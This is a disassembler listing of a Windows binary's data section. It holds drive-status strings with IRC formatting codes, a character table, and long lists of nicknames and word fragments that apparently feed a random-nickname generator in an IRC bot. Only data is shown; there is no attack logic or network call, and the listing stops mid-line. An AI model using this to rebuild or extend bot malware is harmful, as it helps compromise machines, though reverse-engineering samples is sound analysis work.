sub_414FC5:loc_415008o aInvalid db 'Invalid',0 ; DATA XREF: sub_414FC5:loc_415002o aDisk db 'Disk',0 ; DATA XREF: sub_414FC5:loc_414FFCo align 4 aNetwork db 'Network',0 ; DATA XREF: sub_414FC5:loc_414FF6o aCdrom db 'Cdrom',0 ; DATA XREF: sub_414FC5:loc_414FF0o align 4 off_44E72C dd offset word_4D4152 ; DATA XREF: sub_414FC5:loc_414FEAo dword_44E730 dd 3Fh ; DATA XREF: sub_414FC5+1Fo aFailed db 'failed',0 ; DATA XREF: sub_415056+E0o align 4 aFailed_0 db 'failed',0 ; DATA XREF: sub_415056+F1o align 4 aFailed_1 db 'failed',0 ; DATA XREF: sub_415056+102o align 4 aSkb db '%sKB',0 ; DATA XREF: sub_415056+70o align 4 aSkb_0 db '%sKB',0 ; DATA XREF: sub_415056+9Bo align 4 aSkb_1 db '%sKB',0 ; DATA XREF: sub_415056+C6o align 4 aFailed_2 db 'failed',0 ; DATA XREF: sub_41517A+3Bo align 4 unk_44E76C db 2Dh ; - ; DATA XREF: sub_41517A+58o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aSDriveSFailedT db '%s drive (%s): failed to stat, device not ready',0 unk_44E7A8 db 2Dh ; - ; DATA XREF: sub_41517A+8Eo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aSDriveSSTotalS db '%s drive (%s): %s total, %s free, %s available',0 align 4 aA_3 db 'A:\',0 ; DATA XREF: sub_41524C:loc_415291o off_44E7E8 dd offset dword_44EC80 ; DATA XREF: sub_4156B7+5Cr dd offset dword_44EC84 dd offset dword_44EC88 dd offset dword_44EC8C dd offset dword_44EC90 dd offset dword_44EC94 dd offset dword_44EC98 dd offset dword_44EC9C dd offset dword_44ECA0 dd offset dword_44ECA4 dd offset dword_44ECA8 dd offset dword_44ECAC dd offset dword_44ECB0 dd offset dword_44ECB4 dd offset dword_44ECB8 dd offset dword_44ECBC dd offset dword_44ECC0 dd offset dword_44ECC4 dd offset dword_44ECC8 dd offset dword_44ECCC dd offset dword_44ECD0 dd offset dword_44ECD4 dd offset dword_44ECD8 dd offset dword_44ECDC dd offset dword_44ECE0 dd offset dword_44ECE4 dd offset dword_44ECE8 dd offset dword_44ECEC dd offset dword_44ECF0 dd offset dword_44ECF4 dd offset dword_44ECF8 dd offset dword_44ECFC dd offset dword_44ED00 dd offset dword_44ED04 dd offset dword_44ED08 dd offset dword_44ED0C dd offset dword_44ED10 dd offset dword_44ED14 dd offset dword_44ED18 dd offset dword_44ED1C dd offset dword_44ED20 dd offset dword_44ED24 dd offset dword_44ED28 dd offset dword_44ED2C dd offset dword_44ED30 dd offset dword_44ED34 dd offset dword_44ED38 dd offset dword_44ED3C dd offset dword_44ED40 dd offset dword_44ED44 dd offset dword_44ED48 dd offset aSmartmir ; "SMARTMIR" dd offset aFarooq ; "farooq" dd offset aMaxxguy ; "maxxguy" dd offset aBobmarley ; "BOBMARLEY" dd offset aEmilya ; "emilya" dd offset aKrizha ; "KRIZHA" dd offset aCar1nna ; "Car1nna" dd offset aSwin ; "swin" dd offset aMale ; "male" dd offset aKoko ; "koko" dd offset aFlexster ; "flexster" dd offset aKen ; "ken" dd offset aShez ; "Shez" dd offset aTalika ; "talika" dd offset aMarcy_0 ; "marcy" dd offset aCme ; "cme" dd offset aHeval ; "heval" dd offset aBunty ; "bunty" dd offset aJanno ; "janno" dd offset aRimpy ; "rimpy" dd offset aNastysha ; "nastysha" dd offset aLuisa ; "Luisa" dd offset aTroller ; "troller" dd offset aManee ; "manee" dd offset aKermit_0 ; "kermit" dd offset aPuregold ; "puregold" dd offset aCoredump ; "CoreDump" dd offset aImra ; "imra" dd offset aGirl_0 ; "GirL" dd offset aCamel ; "CAMEL" dd offset aReshma ; "reshma" dd offset aKencing ; "Kencing" dd offset aThr45h3r5 ; "THR45H3R5" dd offset aCansuuuu ; "cansuuuu" dd offset aKaan38dent ; "kaan38dent" dd offset aErkan27 ; "erkan27" dd offset aHexaaa ; "hexaaa" dd offset aBerk19 ; "berk19" dd offset aObenibisevse ; "OBeNiBiSeVSe" dd offset aIrmal ; "irmal" dd offset aMisssunday ; "misssunday" dd offset aTolga34 ; "Tolga34" dd offset aJericho ; "JERICHO" dd offset aMary_0 ; "MARY" dd offset aAkin ; "AKIN" dd offset aMelekk ; "melekk" dd offset aTrend3 ; "trend3" dd offset aMERVE ; "M-E-R-V-E" dd offset aTekir ; "tekir" dd offset aVenedik34 ; "venedik34" dd offset aSevmekmi ; "sevmekmi" dd offset aSudenur ; "SUDENUR" dd offset aArzu ; "ARZU" dd offset aHaticem ; "haticem" dd offset aErnesto ; "ERNESTO" dd offset aAslii ; "aslii" dd offset aPiramit ; "PIRAMIT" dd offset aSamyeli21 ; "samyeli21" dd offset aRetg ; "RETG" dd offset aBlackpearl ; "blackpearl" dd offset aPelincik ; "pelincik" dd offset aAhmet ; "ahmet" dd offset aTurkyy ; "turkyy" dd offset aAnk32m ; "ank32m" dd offset aZack ; "ZACK" dd offset aIzmir39m ; "Izmir39m" dd offset aAlbina ; "albina" dd offset aAyla ; "AYLA-" dd offset off_44EFB0 dd offset aAnkh ; "ankh" dd offset aDonjuanm ; "Donjuanm" dd offset aBogac ; "bogac" dd offset aAlpay34m ; "alpay34m" dd offset aCongueror ; "CoNGuERoR" dd offset aDenizlim ; "DenizliM" dd offset aBerk19m ; "Berk19m" dd offset aDevran ; "devran" dd offset aArda ; "arda" dd offset aKeyiflisert ; "keyifliSERT" dd offset aMurat34M ; "murat34-m" dd offset aHakan3 ; "hakan3" dd offset aImirzali ; "IMIRZALI--" dd offset aRamtha ; "RAMTHA" dd offset aEmre ; "Emre--" dd offset aElmaazyok ; "elmaazyok" dd offset aEsmerkiz ; "Esmerkiz" dd offset aKebikec ; "kebikec" dd offset aFlord ; "FLoRD" dd offset aHoly ; "holy" dd offset aMahinur ; "MAHINUR" dd offset aSadikaellesme ; "SaDIkaEllesme" dd offset aAykut1 ; "aykut1" dd offset aKashmira ; "Kashmira" dd offset aSeviseli ; "SeViSeLi" dd offset aSugarboy ; "SUGARBOY-" dd offset aUzgun36 ; "uzgun36" dd offset aKumul ; "kumul" dd offset aAdalim ; "ADALIM" dd offset aUmut ; "umut-" dd offset aAnk32M ; "ANK-32-M" dd offset aDjspace ; "DJSPACE" dd offset aAnkar ; "Ankar" dd offset aFenerlee ; "FeNeRLee" dd offset aHayran ; "hayran" dd offset aAngelgirl ; "angelgirl" dd offset aKapk ; "kapk" dd offset aAchilles ; "Achilles" dd offset aTegmen ; "TEGMEN" dd offset aKotan ; "kotan" dd offset aSevda ; "sevda" dd offset off_44F144 dd offset aAlcatras ; "alcatras" dd offset aA44m ; "a44m" dd offset aBirsen ; "birsen" dd offset aYabanc ; "yabanc" dd offset aDevre ; "devre" dd offset aErkan ; "erkan" dd offset aAnkm ; "ankM" dd offset aAdem28 ; "Adem28" dd offset aMaxsilla ; "maxsilla" dd offset aM41ist ; "M41IST" dd offset aAdamm33 ; "AdAMM33" dd offset aFirtina ; "firtina" dd offset aAta29 ; "Ata29" dd offset aKoray ; "KORAY" dd offset aAkden ; "akden" dd offset aIzmirlm ; "izmirlm" dd offset aUla ; "ula" dd offset aNeHaber ; "NE-HABER" dd offset aPassenger ; "passenger" dd offset aTropikal ; "tropikal" dd offset aCool30m ; "cool30m" dd offset aCem39 ; "cem39" dd offset aRerpjj ; "RERPJJ" dd offset aTeoman ; "TEOMAN```" dd offset aDallas43m ; "DALLAS43M" dd offset aPrometheus ; "prometheus" dd offset aMaveRIck ; "MaVe{R}icK" dd offset aAdamm ; "ADAMM" dd offset aCumhur29 ; "cumhur29" dd offset aWantedlove ; "WANTEDLOVE" off_44EAE8 dd offset aSex_1 ; DATA XREF: sub_4156B7+41r ; sub_4156B7+ECr ; "sex" dd offset aLez ; "lez" dd offset aZex ; "zex" dd offset aTree_0 ; "tree" dd offset aBad ; "bad" dd offset aLag ; "lag" dd offset aTambe ; "|tambe|" dd offset aWoh ; "|woh|" dd offset aTot ; "-|tot|" dd offset aSuck_0 ; "|suck|" dd offset aLuck_0 ; "|luck|" dd offset aHub ; "{hub}" dd offset aSex_2 ; "{sex}" dd offset aGens ; "{gens|" dd offset aLuvuF ; "||luvu-f|" dd offset aWiked ; "|wiked|" dd offset aSick_0 ; "sick}}" dd offset aQ8 ; "Q8" dd offset aQ8A ; "|q8|a" dd offset aB_0 ; "b" dd offset aC_1 ; "c" dd offset aD_3 ; "d" dd offset aE_1 ; "e" dd offset aF_0 ; "f" dd offset aG_0 ; "g" dd offset asc_44F2FC ; "h" dd offset aI_2 ; "i" dd offset a__10 ; "_" dd offset aJ_2 ; "j" dd offset aK_1 ; "k" dd offset asc_44F310 ; "l" dd offset aM_4 ; "m" dd offset aN_1 ; "n" dd offset aO_1 ; "o" dd offset aP_1 ; "p" dd offset aQ_1 ; "q" dd offset aRs ; "rs" dd offset aT_1 ; "t" dd offset aU_1 ; "u" dd offset aV_0 ; "v" dd offset aW_0 ; "w" dd offset asc_44F33C ; "x" dd offset aY_0 ; "y" dd offset aZ_1 ; "z" dd offset aHappy ; "happy" dd offset aRg ; "rg" dd offset aTy ; "ty" dd offset aGf ; "gf" dd offset aRt ; "rt" dd offset aSdf ; "sdf" dd offset aUi ; "ui" dd offset aLuvy ; "luvy" dd offset aTrimy ; "trimy" dd offset aTruck ; "truck" dd offset aMuckc ; "muckc" dd offset aZ_2 ; "z" dd offset aG_1 ; "g" dd offset aS_34 ; "s" dd offset aQ_2 ; "q" dd offset off_44F398 dd offset dword_44F39C dd offset dword_4EECD4 dd offset dword_4EECD8 dd offset dword_44F3A4 dd offset dword_4EECDC dd offset dword_4EECE0 dd offset dword_4EECE4 dd offset dword_4EECE8 dd offset dword_44F3A8 dd offset dword_44F3AC dd offset aLuvu ; "LUVU" dd offset aSad ; "Sad" dd offset aF_1 ; "^^^f^" dd offset aB_1 ; "b" dd offset dword_4EECEC dd offset aSleeping ; "Sleeping" dd offset dword_4EECF0 dd offset dword_4EECF4 dd offset aFuck_0 ; "Fuck" dd offset aFree_1 ; "Free" dd offset dword_4EECF8 dd offset dword_4EECFC dd offset asc_44F3E4 ; "X" dd offset dword_4EED00 dd offset aBoy ; "BOY" dd offset aGirl_1 ; "GIRL" dd offset aGurl ; "gurl" dd offset aShit_0 ; "shit" dd offset aAha ; "aha" dd offset aYeah ; "yeah" dd offset aMuha ; "muha" dd offset aMof0 ; "mof0" dd offset aMofo ; "mofo" dd offset aTot_0 ; "tot" dd offset aLol_0 ; "lol" dd offset aLoloA ; "lolo|a|" dd offset aSex4free ; "|sex4free|" dd offset a4us ; "|4us|" dd offset a4you ; "{4you}" dd offset a4u ; "|4u|" dd offset a5u ; "5u" dd offset a6u ; "6u" dword_44EC80 dd 71h ; DATA XREF: .nsp0:off_44E7E8o dword_44EC84 dd 77h ; DATA XREF: .nsp0:0044E7ECo dword_44EC88 dd 65h ; DATA XREF: .nsp0:0044E7F0o dword_44EC8C dd 72h ; DATA XREF: .nsp0:0044E7F4o dword_44EC90 dd 74h ; DATA XREF: .nsp0:0044E7F8o dword_44EC94 dd 79h ; DATA XREF: .nsp0:0044E7FCo dword_44EC98 dd 75h ; DATA XREF: .nsp0:0044E800o dword_44EC9C dd 69h ; DATA XREF: .nsp0:0044E804o dword_44ECA0 dd 70h ; DATA XREF: .nsp0:0044E808o dword_44ECA4 dd 61h ; DATA XREF: .nsp0:0044E80Co dword_44ECA8 dd 73h ; DATA XREF: .nsp0:0044E810o dword_44ECAC dd 64h ; DATA XREF: .nsp0:0044E814o dword_44ECB0 dd 66h ; DATA XREF: .nsp0:0044E818o dword_44ECB4 dd 67h ; DATA XREF: .nsp0:0044E81Co dword_44ECB8 dd 68h ; DATA XREF: .nsp0:0044E820o dword_44ECBC dd 6Ah ; DATA XREF: .nsp0:0044E824o dword_44ECC0 dd 6Bh ; DATA XREF: .nsp0:0044E828o dword_44ECC4 dd 6Ch ; DATA XREF: .nsp0:0044E82Co dword_44ECC8 dd 7Ah ; DATA XREF: .nsp0:0044E830o dword_44ECCC dd 78h ; DATA XREF: .nsp0:0044E834o dword_44ECD0 dd 63h ; DATA XREF: .nsp0:0044E838o dword_44ECD4 dd 76h ; DATA XREF: .nsp0:0044E83Co dword_44ECD8 dd 62h ; DATA XREF: .nsp0:0044E840o dword_44ECDC dd 6Eh ; DATA XREF: .nsp0:0044E844o dword_44ECE0 dd 6Dh ; DATA XREF: .nsp0:0044E848o dword_44ECE4 dd 51h ; DATA XREF: .nsp0:0044E84Co dword_44ECE8 dd 57h ; DATA XREF: .nsp0:0044E850o dword_44ECEC dd 45h ; DATA XREF: .nsp0:0044E854o dword_44ECF0 dd 52h ; DATA XREF: .nsp0:0044E858o dword_44ECF4 dd 54h ; DATA XREF: .nsp0:0044E85Co dword_44ECF8 dd 59h ; DATA XREF: .nsp0:0044E860o dword_44ECFC dd 55h ; DATA XREF: .nsp0:0044E864o dword_44ED00 dd 49h ; DATA XREF: .nsp0:0044E868o dword_44ED04 dd 4Fh ; DATA XREF: .nsp0:0044E86Co dword_44ED08 dd 50h ; DATA XREF: .nsp0:0044E870o dword_44ED0C dd 41h ; DATA XREF: .nsp0:0044E874o dword_44ED10 dd 53h ; DATA XREF: .nsp0:0044E878o dword_44ED14 dd 44h ; DATA XREF: .nsp0:0044E87Co dword_44ED18 dd 46h ; DATA XREF: .nsp0:0044E880o dword_44ED1C dd 47h ; DATA XREF: .nsp0:0044E884o dword_44ED20 dd 48h ; DATA XREF: .nsp0:0044E888o dword_44ED24 dd 4Ah ; DATA XREF: .nsp0:0044E88Co dword_44ED28 dd 4Bh ; DATA XREF: .nsp0:0044E890o dword_44ED2C dd 4Ch ; DATA XREF: .nsp0:0044E894o dword_44ED30 dd 5Ah ; DATA XREF: .nsp0:0044E898o dword_44ED34 dd 58h ; DATA XREF: .nsp0:0044E89Co dword_44ED38 dd 43h ; DATA XREF: .nsp0:0044E8A0o dword_44ED3C dd 56h ; DATA XREF: .nsp0:0044E8A4o dword_44ED40 dd 42h ; DATA XREF: .nsp0:0044E8A8o dword_44ED44 dd 4Eh ; DATA XREF: .nsp0:0044E8ACo dword_44ED48 dd 4Dh ; DATA XREF: .nsp0:0044E8B0o aSmartmir db 'SMARTMIR',0 ; DATA XREF: .nsp0:0044E8B4o align 4 aFarooq db 'farooq',0 ; DATA XREF: .nsp0:0044E8B8o align 10h aMaxxguy db 'maxxguy',0 ; DATA XREF: .nsp0:0044E8BCo aBobmarley db 'BOBMARLEY',0 ; DATA XREF: .nsp0:0044E8C0o align 4 aEmilya db 'emilya',0 ; DATA XREF: .nsp0:0044E8C4o align 4 aKrizha db 'KRIZHA',0 ; DATA XREF: .nsp0:0044E8C8o align 4 aCar1nna db 'Car1nna',0 ; DATA XREF: .nsp0:0044E8CCo aSwin db 'swin',0 ; DATA XREF: .nsp0:0044E8D0o align 4 aMale db 'male',0 ; DATA XREF: .nsp0:0044E8D4o align 4 aKoko db 'koko',0 ; DATA XREF: .nsp0:0044E8D8o align 4 aFlexster db 'flexster',0 ; DATA XREF: .nsp0:0044E8DCo align 10h aKen db 'ken',0 ; DATA XREF: .nsp0:0044E8E0o aShez db 'Shez',0 ; DATA XREF: .nsp0:0044E8E4o align 4 aTalika db 'talika',0 ; DATA XREF: .nsp0:0044E8E8o align 4 aMarcy_0 db 'marcy',0 ; DATA XREF: .nsp0:0044E8ECo align 4 aCme db 'cme',0 ; DATA XREF: .nsp0:0044E8F0o aHeval db 'heval',0 ; DATA XREF: .nsp0:0044E8F4o align 4 aBunty db 'bunty',0 ; DATA XREF: .nsp0:0044E8F8o align 10h aJanno db 'janno',0 ; DATA XREF: .nsp0:0044E8FCo align 4 aRimpy db 'rimpy',0 ; DATA XREF: .nsp0:0044E900o align 10h aNastysha db 'nastysha',0 ; DATA XREF: .nsp0:0044E904o align 4 aLuisa db 'Luisa',0 ; DATA XREF: .nsp0:0044E908o align 4 aTroller db 'troller',0 ; DATA XREF: .nsp0:0044E90Co aManee db 'manee',0 ; DATA XREF: .nsp0:0044E910o align 4 aKermit_0 db 'kermit',0 ; DATA XREF: .nsp0:0044E914o align 4 aPuregold db 'puregold',0 ; DATA XREF: .nsp0:0044E918o align 4 aCoredump db 'CoreDump',0 ; DATA XREF: .nsp0:0044E91Co align 4 aImra db 'imra',0 ; DATA XREF: .nsp0:0044E920o align 4 aGirl_0 db 'GirL',0 ; DATA XREF: .nsp0:0044E924o align 4 aCamel db 'CAMEL',0 ; DATA XREF: .nsp0:0044E928o align 4 aReshma db 'reshma',0 ; DATA XREF: .nsp0:0044E92Co align 4 aKencing db 'Kencing',0 ; DATA XREF: .nsp0:0044E930o aThr45h3r5 db 'THR45H3R5',0 ; DATA XREF: .nsp0:0044E934o align 4 aCansuuuu db 'cansuuuu',0 ; DATA XREF: .nsp0:0044E938o align 4 aKaan38dent db 'kaan38dent',0 ; DATA XREF: .nsp0:0044E93Co align 10h aErkan27 db 'erkan27',0 ; DATA XREF: .nsp0:0044E940o aHexaaa db 'hexaaa',0 ; DATA XREF: .nsp0:0044E944o align 10h aBerk19 db 'berk19',0 ; DATA XREF: .nsp0:0044E948o align 4 aObenibisevse db 'OBeNiBiSeVSe',0 ; DATA XREF: .nsp0:0044E94Co align 4 aIrmal db 'irmal',0 ; DATA XREF: .nsp0:0044E950o align 10h aMisssunday db 'misssunday',0 ; DATA XREF: .nsp0:0044E954o align 4 aTolga34 db 'Tolga34',0 ; DATA XREF: .nsp0:0044E958o aJericho db 'JERICHO',0 ; DATA XREF: .nsp0:0044E95Co aMary_0 db 'MARY',0 ; DATA XREF: .nsp0:0044E960o align 4 aAkin db 'AKIN',0 ; DATA XREF: .nsp0:0044E964o align 4 aMelekk db 'melekk',0 ; DATA XREF: .nsp0:0044E968o align 4 aTrend3 db 'trend3',0 ; DATA XREF: .nsp0:0044E96Co align 4 aMERVE db 'M-E-R-V-E',0 ; DATA XREF: .nsp0:0044E970o align 4 aTekir db 'tekir',0 ; DATA XREF: .nsp0:0044E974o align 10h aVenedik34 db 'venedik34',0 ; DATA XREF: .nsp0:0044E978o align 4 aSevmekmi db 'sevmekmi',0 ; DATA XREF: .nsp0:0044E97Co align 4 aSudenur db 'SUDENUR',0 ; DATA XREF: .nsp0:0044E980o aArzu db 'ARZU',0 ; DATA XREF: .nsp0:0044E984o align 4 aHaticem db 'haticem',0 ; DATA XREF: .nsp0:0044E988o aErnesto db 'ERNESTO',0 ; DATA XREF: .nsp0:0044E98Co aAslii db 'aslii',0 ; DATA XREF: .nsp0:0044E990o align 10h aPiramit db 'PIRAMIT',0 ; DATA XREF: .nsp0:0044E994o aSamyeli21 db 'samyeli21',0 ; DATA XREF: .nsp0:0044E998o align 4 aRetg db 'RETG',0 ; DATA XREF: .nsp0:0044E99Co align 4 aBlackpearl db 'blackpearl',0 ; DATA XREF: .nsp0:0044E9A0o align 4 aPelincik db 'pelincik',0 ; DATA XREF: .nsp0:0044E9A4o align 4 aAhmet db 'ahmet',0 ; DATA XREF: .nsp0:0044E9A8o align 4 aTurkyy db 'turkyy',0 ; DATA XREF: .nsp0:0044E9ACo align 4 aAnk32m db 'ank32m',0 ; DATA XREF: .nsp0:0044E9B0o align 4 aZack db 'ZACK',0 ; DATA XREF: .nsp0:0044E9B4o align 4 aIzmir39m db 'Izmir39m',0 ; DATA XREF: .nsp0:0044E9B8o align 10h aAlbina db 'albina',0 ; DATA XREF: .nsp0:0044E9BCo align 4 aAyla db 'AYLA-',0 ; DATA XREF: .nsp0:0044E9C0o align 10h off_44EFB0 dd offset byte_457441 ; DATA XREF: .nsp0:0044E9C4o aAnkh db 'ankh',0 ; DATA XREF: .nsp0:0044E9C8o align 4 aDonjuanm db 'Donjuanm',0 ; DATA XREF: .nsp0:0044E9CCo align 4 aBogac db 'bogac',0 ; DATA XREF: .nsp0:0044E9D0o align 10h aAlpay34m db 'alpay34m',0 ; DATA XREF: .nsp0:0044E9D4o align 4 aCongueror db 'CoNGuERoR',0 ; DATA XREF: .nsp0:0044E9D8o align 4 aDenizlim db 'DenizliM',0 ; DATA XREF: .nsp0:0044E9DCo align 4 aBerk19m db 'Berk19m',0 ; DATA XREF: .nsp0:0044E9E0o aDevran db 'devran',0 ; DATA XREF: .nsp0:0044E9E4o align 4 aArda db 'arda',0 ; DATA XREF: .nsp0:0044E9E8o align 4 aKeyiflisert db 'keyifliSERT',0 ; DATA XREF: .nsp0:0044E9ECo aMurat34M db 'murat34-m',0 ; DATA XREF: .nsp0:0044E9F0o align 4 aHakan3 db 'hakan3',0 ; DATA XREF: .nsp0:0044E9F4o align 4 aImirzali db 'IMIRZALI--',0 ; DATA XREF: .nsp0:0044E9F8o align 4 aRamtha db 'RAMTHA',0 ; DATA XREF: .nsp0:0044E9FCo align 10h aEmre db 'Emre--',0 ; DATA XREF: .nsp0:0044EA00o align 4 aElmaazyok db 'elmaazyok',0 ; DATA XREF: .nsp0:0044EA04o align 4 aEsmerkiz db 'Esmerkiz',0 ; DATA XREF: .nsp0:0044EA08o align 10h aKebikec db 'kebikec',0 ; DATA XREF: .nsp0:0044EA0Co aFlord db 'FLoRD',0 ; DATA XREF: .nsp0:0044EA10o align 10h aHoly db 'holy',0 ; DATA XREF: .nsp0:0044EA14o align 4 aMahinur db 'MAHINUR',0 ; DATA XREF: .nsp0:0044EA18o aSadikaellesme db 'SaDIkaEllesme',0 ; DATA XREF: .nsp0:0044EA1Co align 10h aAykut1 db 'aykut1',0 ; DATA XREF: .nsp0:0044EA20o align 4 aKashmira db 'Kashmira',0 ; DATA XREF: .nsp0:0044EA24o align 4 aSeviseli db 'SeViSeLi',0 ; DATA XREF: .nsp0:0044EA28o align 10h aSugarboy db 'SUGARBOY-',0 ; DATA XREF: .nsp0:0044EA2Co align 4 aUzgun36 db 'uzgun36',0 ; DATA XREF: .nsp0:0044EA30o aKumul db 'kumul',0 ; DATA XREF: .nsp0:0044EA34o align 4 aAdalim db 'ADALIM',0 ; DATA XREF: .nsp0:0044EA38o align 4 aUmut db 'umut-',0 ; DATA XREF: .nsp0:0044EA3Co align 4 aAnk32M db 'ANK-32-M',0 ; DATA XREF: .nsp0:0044EA40o align 4 aDjspace db 'DJSPACE',0 ; DATA XREF: .nsp0:0044EA44o aAnkar db 'Ankar',0 ; DATA XREF: .nsp0:0044EA48o align 4 aFenerlee db 'FeNeRLee',0 ; DATA XREF: .nsp0:0044EA4Co align 4 aHayran db 'hayran',0 ; DATA XREF: .nsp0:0044EA50o align 4 aAngelgirl db 'angelgirl',0 ; DATA XREF: .nsp0:0044EA54o align 4 aKapk db 'kapk',0 ; DATA XREF: .nsp0:0044EA58o align 10h aAchilles db 'Achilles',0 ; DATA XREF: .nsp0:0044EA5Co align 4 aTegmen db 'TEGMEN',0 ; DATA XREF: .nsp0:0044EA60o align 4 aKotan db 'kotan',0 ; DATA XREF: .nsp0:0044EA64o align 4 aSevda db 'sevda',0 ; DATA XREF: .nsp0:0044EA68o align 4 off_44F144 dd offset byte_4B5245 ; DATA XREF: .nsp0:0044EA6Co aAlcatras db 'alcatras',0 ; DATA XREF: .nsp0:0044EA70o align 4 aA44m db 'a44m',0 ; DATA XREF: .nsp0:0044EA74o align 4 aBirsen db 'birsen',0 ; DATA XREF: .nsp0:0044EA78o align 4 aYabanc db 'yabanc',0 ; DATA XREF: .nsp0:0044EA7Co align 4 aDevre db 'devre',0 ; DATA XREF: .nsp0:0044EA80o align 4 aErkan db 'erkan',0 ; DATA XREF: .nsp0:0044EA84o align 4 aAnkm db 'ankM',0 ; DATA XREF: .nsp0:0044EA88o align 4 aAdem28 db 'Adem28',0 ; DATA XREF: .nsp0:0044EA8Co align 4 aMaxsilla db 'maxsilla',0 ; DATA XREF: .nsp0:0044EA90o align 4 aM41ist db 'M41IST',0 ; DATA XREF: .nsp0:0044EA94o align 10h aAdamm33 db 'AdAMM33',0 ; DATA XREF: .nsp0:0044EA98o aFirtina db 'firtina',0 ; DATA XREF: .nsp0:0044EA9Co aAta29 db 'Ata29',0 ; DATA XREF: .nsp0:0044EAA0o align 4 aKoray db 'KORAY',0 ; DATA XREF: .nsp0:0044EAA4o align 10h aAkden db 'akden',0 ; DATA XREF: .nsp0:0044EAA8o align 4 aIzmirlm db 'izmirlm',0 ; DATA XREF: .nsp0:0044EAACo aUla db 'ula',0 ; DATA XREF: .nsp0:0044EAB0o aNeHaber db 'NE-HABER',0 ; DATA XREF: .nsp0:0044EAB4o align 10h aPassenger db 'passenger',0 ; DATA XREF: .nsp0:0044EAB8o align 4 aTropikal db 'tropikal',0 ; DATA XREF: .nsp0:0044EABCo align 4 aCool30m db 'cool30m',0 ; DATA XREF: .nsp0:0044EAC0o aCem39 db 'cem39',0 ; DATA XREF: .nsp0:0044EAC4o align 4 aRerpjj db 'RERPJJ',0 ; DATA XREF: .nsp0:0044EAC8o align 10h aTeoman db 'TEOMAN```',0 ; DATA XREF: .nsp0:0044EACCo align 4 aDallas43m db 'DALLAS43M',0 ; DATA XREF: .nsp0:0044EAD0o align 4 aPrometheus db 'prometheus',0 ; DATA XREF: .nsp0:0044EAD4o align 4 aMaveRIck db 'MaVe{R}icK',0 ; DATA XREF: .nsp0:0044EAD8o align 10h aAdamm db 'ADAMM',0 ; DATA XREF: .nsp0:0044EADCo align 4 aCumhur29 db 'cumhur29',0 ; DATA XREF: .nsp0:0044EAE0o align 4 aWantedlove db 'WANTEDLOVE',0 ; DATA XREF: .nsp0:0044EAE4o align 10h aSex_1 db 'sex',0 ; DATA XREF: .nsp0:off_44EAE8o aLez db 'lez',0 ; DATA XREF: .nsp0:0044EAECo aZex db 'zex',0 ; DATA XREF: .nsp0:0044EAF0o aTree_0 db 'tree',0 ; DATA XREF: .nsp0:0044EAF4o align 4 aBad db 'bad',0 ; DATA XREF: .nsp0:0044EAF8o aLag db 'lag',0 ; DATA XREF: .nsp0:0044EAFCo aTambe db '|tambe|',0 ; DATA XREF: .nsp0:0044EB00o aWoh db '|woh|',0 ; DATA XREF: .nsp0:0044EB04o align 4 aTot db '-|tot|',0 ; DATA XREF: .nsp0:0044EB08o align 4 aSuck_0 db '|suck|',0 ; DATA XREF: .nsp0:0044EB0Co align 4 aLuck_0 db '|luck|',0 ; DATA XREF: .nsp0:0044EB10o align 4 aHub db '{hub}',0 ; DATA XREF: .nsp0:0044EB14o align 4 aSex_2 db '{sex}',0 ; DATA XREF: .nsp0:0044EB18o align 4 aGens db '{gens|',0 ; DATA XREF: .nsp0:0044EB1Co align 4 aLuvuF db '||luvu-f|',0 ; DATA XREF: .nsp0:0044EB20o align 4 aWiked db '|wiked|',0 ; DATA XREF: .nsp0:0044EB24o aSick_0 db 'sick}}',0 ; DATA XREF: .nsp0:0044EB28o align 4 aQ8 db 'Q8',0 ; DATA XREF: .nsp0:0044EB2Co align 4 aQ8A db '|q8|a',0 ; DATA XREF: .nsp0:0044EB30o align 4 aB_0: ; DATA XREF: .nsp0:0044EB34o unicode 0, <b>,0 aC_1: ; DATA XREF: .nsp0:0044EB38o unicode 0, <c>,0 aD_3: ; DATA XREF: .nsp0:0044EB3Co unicode 0, <d>,0 aE_1: ; DATA XREF: .nsp0:0044EB40o unicode 0, <e>,0 aF_0: ; DATA XREF: .nsp0:0044EB44o unicode 0, <f>,0 aG_0: ; DATA XREF: .nsp0:0044EB48o unicode 0, <g>,0 asc_44F2FC: ; DATA XREF: .nsp0:0044EB4Co unicode 0, <h>,0 aI_2: ; DATA XREF: .nsp0:0044EB50o unicode 0, <i>,0 a__10: ; DATA XREF: .nsp0:0044EB54o unicode 0, <_>,0 aJ_2: ; DATA XREF: .nsp0:0044EB58o unicode 0, <j>,0 aK_1: ; DATA XREF: .nsp0:0044EB5Co unicode 0, <k>,0 asc_44F310: ; DATA XREF: .nsp0:0044EB60o unicode 0, <l>,0 aM_4: ; DATA XREF: .nsp0:0044EB64o unicode 0, <m>,0 aN_1: ; DATA XREF: .nsp0:0044EB68o unicode 0, <n>,0 aO_1: ; DATA XREF: .nsp0:0044EB6Co unicode 0, <o>,0 aP_1: ; DATA XREF: .nsp0:0044EB70o unicode 0, <p>,0 aQ_1: ; DATA XREF: .nsp0:0044EB74o unicode 0, <q>,0 aRs db 'rs',0 ; DATA XREF: .nsp0:0044EB78o align 4 aT_1: ; DATA XREF: .nsp0:0044EB7Co unicode 0, <t>,0 aU_1: ; DATA XREF: .nsp0:0044EB80o unicode 0, <u>,0 aV_0: ; DATA XREF: .nsp0:0044EB84o unicode 0, <v>,0 aW_0: ; DATA XREF: .nsp0:0044EB88o unicode 0, <w>,0 asc_44F33C: ; DATA XREF: .nsp0:0044EB8Co unicode 0, <x>,0 aY_0: ; DATA XREF: .nsp0:0044EB90o unicode 0, <y>,0 aZ_1: ; DATA XREF: .nsp0:0044EB94o unicode 0, <z>,0 aHappy db 'happy',0 ; DATA XREF: .nsp0:0044EB98o align 10h aRg db 'rg',0 ; DATA XREF: .nsp0:0044EB9Co align 4 aTy db 'ty',0 ; DATA XREF: .nsp0:0044EBA0o align 4 aGf db 'gf',0 ; DATA XREF: .nsp0:0044EBA4o align 4 aRt db 'rt',0 ; DATA XREF: .nsp0:0044EBA8o align 10h aSdf db 'sdf',0 ; DATA XREF: .nsp0:0044EBACo aUi db 'ui',0 ; DATA XREF: .nsp0:0044EBB0o align 4 aLuvy db 'luvy',0 ; DATA XREF: .nsp0:0044EBB4o align 10h aTrimy db 'trimy',0 ; DATA XREF: .nsp0:0044EBB8o align 4 aTruck db 'truck',0 ; DATA XREF: .nsp0:0044EBBCo align 10h aMuckc db 'muckc',0 ; DATA XREF: 